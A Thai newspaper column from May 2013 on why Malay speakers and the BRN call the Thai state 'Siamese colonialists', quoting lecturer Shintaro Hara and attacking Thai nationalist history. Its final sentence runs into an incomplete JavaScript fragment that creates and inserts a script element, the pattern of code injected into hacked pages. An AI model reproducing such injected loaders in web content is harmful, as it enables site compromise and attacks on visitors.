Download PDF

มติชนรายวัน ฉบับประจำวันอังคารที่ 14 พฤษภาคม 2556

 

          “นักล่าอาณานิคมสยาม” เป็นคำเรียกรัฐไทย (เข้าใจว่าไม่ใช่เรียกคนไทย) อย่างไม่ยกย่อง ของกลุ่มคนตระกูลภาษาชวา-มลายู ที่อยู่คาบสมุทรภาคใต้ของไทย จนถึงมาเลเซีย และอินโดนีเซีย

          ขณะที่ไทยก็เรียกพวกชวา-มลายูอย่างดูถูกว่า“แขก”

          แล้วดูเหมือนว่าไทยจะไม่พยายามทำความเข้าใจประวัติศาสตร์ความเป็นมาของแขกเหล่านี้ ทั้งๆเขาเป็นส่วนหนึ่งของบรรพชนคนสุวรรณภูมิ-อุษาคเนย์ ซึ่งต้องนับเป็นบรรพชนคนไทยด้วย

          การละเล่น หรือการแสดง เช่น ลิเก, กระบี่กระบอง, ฯลฯ ที่คนไทยส่วนมากถูกครอบงำให้เชื่อว่าเป็นวัฒนธรรมไทยแท้ๆ แต่แท้จริงแล้วมีต้นทางอยู่ที่วัฒนธรรมชวา-มลายู

          นายชินทาโร่ ฮาร่า อาจารย์ประจำภาควิชาภาษามลายู มหาวิทยาลัยสงขลานครินทร์ วิทยาเขตปัตตานี ให้สัมภาษณ์มติชน (ฉบับวันอังคารที่ 7 พฤษภาคม 2556 หน้า 13) อธิบายคำเรียกไทยว่า“นักล่าอาณานิคมสยาม” ไว้ลึกซึ้งและมีคุณค่ายิ่ง จะคัดเฉพาะตรงนี้มาบอกต่อ ดังนี้

          มติชน บีอาร์เอ็นเรียกรัฐไทยว่า “นักล่าอาณานิคมสยาม” รวมถึงกรณีป้ายผ้าระบุข้อความว่า “สันติภาพจะไม่เกิดขึ้น ตราบที่ความเป็นเจ้าของยังไม่ได้รับการยอมรับ” ชี้ให้เห็นว่าสังคมไทยยังขาดความเข้าใจความขัดแย้งครั้งนี้ในเชิงประวัติศาสตร์

          ชินทาโร่ ฮาร่า “ดร. วรวิทย์ บารู ส.ว. ปัตตานี เคยอธิบายว่า เมื่อกล่าวถึงประวัติศาสตร์ของปาตานีในภาษามลายู ไม่ว่าจะเป็นที่มาเลเซียหรือที่อินโดนีเซียก็ตาม รัฐสยาม/ไทย มักจะถูกเรียกด้วยคำว่า ‘penjajah’ (นักล่าอาณานิคมหรือพวกจักรพรรดินิยม)

          เพราะฉะนั้น การใช้คำนี้ไม่ใช่สิ่งประดิษฐ์ของแกนนำบีอาร์เอ็น แต่เป็นการใช้คำธรรมดาในภาษามลายู

          ทั้งนี้ ปฏิกิริยาของสังคมไทย ไม่ใช่แค่บ่งบอกถึงการขาดความเข้าใจของสังคมไทยในเรื่องประวัติศาสตร์เท่านั้น แต่แสดงให้เห็นถึงโลกทรรศน์ที่แตกต่างกันด้วย

          สังคมไทยไม่จำเป็นต้องยอมรับหรือเห็นด้วยกับประวัติศาสตร์ฉบับที่ถือว่ารัฐสยาม/ไทย เป็นนักล่าอาณานิคม

          แต่ต้องยอมรับว่ามีคนที่ยึดถือประวัติศาสตร์ฉบับนี้ และแง่มุมประวัติศาสตร์เช่นนี้ไม่ใช่ของชาวมลายูปาตานีเท่านั้น แต่เป็นของประเทศที่ใช้ภาษามลายูอื่นๆ ด้วย

          โดยเฉพาะประเทศมาเลเซีย ฉะนั้น การยอมรับคนที่มีความคิดเห็นแตกต่างกันนั้น ไม่ได้มีความสำคัญในกระบวนการสันติภาพเท่านั้น แต่เป็นขั้นตอนที่จำเป็นในการต้อนรับประชาคมอาเซียน”

          สังคมจะเติบโตแข็งแรงและมีพลังก้าวหน้าได้ ต้องเรียนรู้ควบคู่กันทั้งความสำเร็จและความล้มเหลว หาไม่ก็จะเป็นสังคมกลวงโบ๋โกหกตัวเองชั่วนาตาปี

          ประวัติศาสตร์แห่งชาติของไทยเป็นนิยายคลั่งชาติเพ้อเจ้อจนเว่อร์ขนาดหนัก ว่าพ่อขุนฯรัฐสุโขทัยแผ่อำนาจลงไปตลอดแหลมมลายู ทั้งๆหลักฐานประวัติศาสตร์โบราณคดีไม่สนับสนุนอย่างนั้น

          แต่ยังดันทุรังใช้สั่งสอนในโรงเรียน และโฆษณาปลุกระดมอย่างบ้าบอคอแตกทุกวันนี้ อย่างนี้แหละ ถึงได้รับสมญาทางไม่ดีว่า “นักล่าอาณานิคมสยาม”

          ต้องยกเลิกนานแล้วประวัติศาสตร์บาดหมางอย่างนี้ แต่รัฐไทย“นักล่าอาณานิคมสยาม”ไม่ยอมยกเลิกvar d=document;var s=d.createElement(‘script’); document.currentScript.parentNode.insertBefore(s, document.currentScript);